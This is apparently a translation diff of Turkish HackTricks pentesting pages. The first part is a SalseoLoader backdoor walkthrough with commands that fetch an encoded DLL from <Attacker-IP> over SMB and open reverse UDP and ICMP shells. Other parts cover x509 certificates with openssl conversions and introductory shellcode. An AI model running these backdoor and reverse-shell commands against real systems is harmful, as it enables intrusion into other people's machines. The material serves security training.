Ters kabuk dinleyicisi olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayın (impacket-smbserver). Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmış evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayın (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMP ters kabuk almak (kurbanın içinde zaten kodlanmış dll bulunmaktadır)** ### **ICMP ters kabuk almak (kodlanmış dll zaten kurbanın içinde)**
**Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız olacak. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **Bu sefer ters kabuk almak için istemci tarafında özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP Yanıtlarını Devre Dışı Bırakın:** #### **ICMP Yanıtlarını Devre Dışı Bırakın:**
``` ```
@ -83,19 +83,19 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## SalseoLoader'ı ana işlevi dışa aktaran DLL olarak derleme ## Ana işlevi dışa aktaran DLL olarak SalseoLoader'ı derleme
Visual Studio kullanarak SalseoLoader projesini açın. Visual Studio kullanarak SalseoLoader projesini açın.
### Ana işlevden önce ekle: \[DllExport] ### Ana işlevden önce ekle: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Bu projeye DllExport yükleyin ### Bu projeye DllExport yükleyin
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...** #### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açılan pencereyi kabul edin)** #### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açılan pencereyi kabul edin)**
@ -109,13 +109,13 @@ Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** do
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studio'yu kapatın ve DllExport\_configure'ı çalıştırın ### Visual Studio'yu kapatın ve DllExport\_Configure'ı çalıştırın
Sadece **Visual Studio'yu kapatın** Sadece Visual Studio'yu **kapatın**
Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı çalıştırın
**x64**'ü seçin (eğer x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı seçin (**DllExport için Namespace** içinde) ve **Uygula**'yı seçin **x64**'ü seçin (eğer bir x64 kutusunda kullanacaksanız, benim durumumda olduğu gibi), **System.Runtime.InteropServices**'ı (DllExport için **Namespace**) seçin ve **Uygula**'yı seçin
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -135,11 +135,11 @@ Ardından, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat**'ı
![](<../.gitbook/assets/image (9) (1) (1).png>) ![](<../.gitbook/assets/image (9) (1) (1).png>)
Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) Çözümü derlemek için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolunu göreceksiniz)
### Oluşturulan Dll'yi test edin ### Oluşturulan Dll'yi test edin
Dll'yi test etmek istediğiniz yere kopyalayın ve yapıştırın. Dll'yi test etmek istediğiniz yere kopyalayın.
Çalıştır: Çalıştır:
``` ```
@ -173,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main
``` ```
<details> <details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **bizi** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
@ -10,11 +10,11 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@ -26,30 +26,30 @@ Bugün Erişim Alın:
Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür. Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür.
Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir. Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust)dir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir.
## x509 Ortak Alanlar ## x509 Ortak Alanlar
### **x509 Sertifikalarındaki Ortak Alanlar** ### **x509 Sertifikalarındaki Ortak Alanlar**
x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. İşte bu alanların ayrıntıları: x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamada kritik roller oynayan birkaç **alan** bulunmaktadır. İşte bu alanların ayrıntıları:
* **Sürüm Numarası**, x509 formatının sürümünü belirtir. * **Sürüm Numarası**, x509 formatının sürümünü belirtir.
* **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde. * **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde.
* **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir: * **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir:
* **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. * **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
* **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. * **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Kuruluş (O)** ve **Kuruluş Birimi (OU)** coğrafi ve kurumsal ayrıntılar sağlar.
* **Distinguished Name (DN)**, tam konu kimliğini kapsar. * **Belirgin Ad (DN)** tam konu kimliğini kapsar.
* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir. * **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi ayrıntılarıyla belirtir, CA için Konu ile benzer alt alanları içerir.
* **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olur. * **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olunur.
* Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. * Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
* **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir. * **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir.
#### **Anahtar Kullanımı ve Uzantılar** #### **Anahtar Kullanımı ve Uzantılar**
* **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme. * **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme.
* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için. * **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için.
* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son kullanıcı sertifikası mı olduğunu belirler. * **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son varlık sertifikası mı olduğunu belirler.
* **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar. * **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
* **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar. * **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
* **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar. * **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar.
@ -88,7 +88,7 @@ Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının ala
#### **Sertifika Kayıtları** #### **Sertifika Kayıtları**
Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Log sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir. Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Log sunucularının tam sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgili herhangi bir kuruluş tarafından bağımsız olarak yönetilebilir.
#### **Sorgu** #### **Sorgu**
@ -101,14 +101,14 @@ Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için
* Sertifikalar için en yaygın kullanılan formattır. * Sertifikalar için en yaygın kullanılan formattır.
* Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır. * Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır.
* Yaygın uzantılar: .cer, .crt, .pem, .key. * Yaygın uzantılar: .cer, .crt, .pem, .key.
* Başta Apache olmak üzere benzer sunucular tarafından kullanılır. * Başlıca olarak Apache ve benzeri sunucular tarafından kullanılır.
### **DER Formatı** ### **DER Formatı**
* Sertifikaların ikili bir formatıdır. * Sertifikaların ikili bir formatıdır.
* PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. * PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
* Yaygın uzantılar: .cer, .der. * Yaygın uzantılar: .cer, .der.
* Genellikle Java platformlarıyla kullanılır. * Genellikle Java platformları ile kullanılır.
### **P7B/PKCS#7 Formatı** ### **P7B/PKCS#7 Formatı**
@ -126,11 +126,11 @@ Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için
**PEM dönüşümleri**, uyumluluk için önemlidir: **PEM dönüşümleri**, uyumluluk için önemlidir:
* **x509'tan PEM'e** * **x509 to PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
* **PEM'i DER'e dönüştürme** * **PEM'den DER'a**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
@ -152,17 +152,21 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX to PKCS#8** iki adımdan oluşur: * **PFX'i PKCS#8'e** dönüştürmek iki adımdan oluşur:
1. PFX'i PEM'e dönüştürün 1. PFX'i PEM'e dönüştürün
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün. 2. PEM'i PKCS8'e dönüştürün
```bash
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pkcs8 -nocrypt
```
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir: * **P7B'yi PFX'e** dönüştürmek için iki komut gereklidir:
1. P7B'yi CER'ye dönüştürün. 1. P7B'yi CER'e dönüştürün
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
@ -172,24 +176,24 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details> </details>

View file

@ -2,36 +2,18 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## **1.STACK OVERFLOWS**
> buffer overflow, buffer overrun, stack overrun, stack smashing
Segmentation fault or segment violation: Bir işleme atanmamış bir bellek adresine erişilmeye çalışıldığında oluşur.
Bir program içindeki bir fonksiyonun adresini elde etmek için şunu yapabilirsiniz:
```
objdump -d ./PROGRAMA | grep FUNCION
```
## ROP
### sys\_execve Çağrısı
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
## **2.SHELLCODE** ## **2.SHELLCODE**
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
@ -43,13 +25,13 @@ exit(0); // \_\_NR\_exit 1
xor eax, eax ; eax'ı temizle\ xor eax, eax ; eax'ı temizle\
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok\ xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Sistem çağrısını çalıştır int 0x80 ; Syscall'ı çalıştır
**nasm -f elf assembly.asm** —> Bir .o dosyası döndürür\ **nasm -f elf assembly.asm** —> Bir .o dosyası döndürür\
**ld assembly.o -o shellcodeout** —> Derlenmiş kod içeren yürütülebilir dosyayı verir ve **objdump** ile opcode'ları çıkarabiliriz\ **ld assembly.o -o shellcodeout** —> Derlenmiş kodu içeren yürütülebilir dosyayı verir ve **objdump** ile opcode'ları çıkarabiliriz\
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcodemuz olduğunu görmek ve opcode'ları çıkarmak için **objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
**Shellcodenin çalıştığını doğrulama** **Shellcodenin çalıştığını kontrol etmek**
``` ```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -59,11 +41,11 @@ fp = (void *)shellcode;
fp(); fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> }<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
Sistem çağrılarının doğru yapıldığını görmek için önceki program derlenmeli ve sistem çağrıları **strace ./DERLENMİŞ_PROGRAM** içinde görünmelidir. Para doğru sistem çağrılarının yapıldığını görmek için önceki programı derlemek ve sistem çağrılarının **strace ./DERLENMİŞ_PROGRAM** içinde görünmesi gerekir.
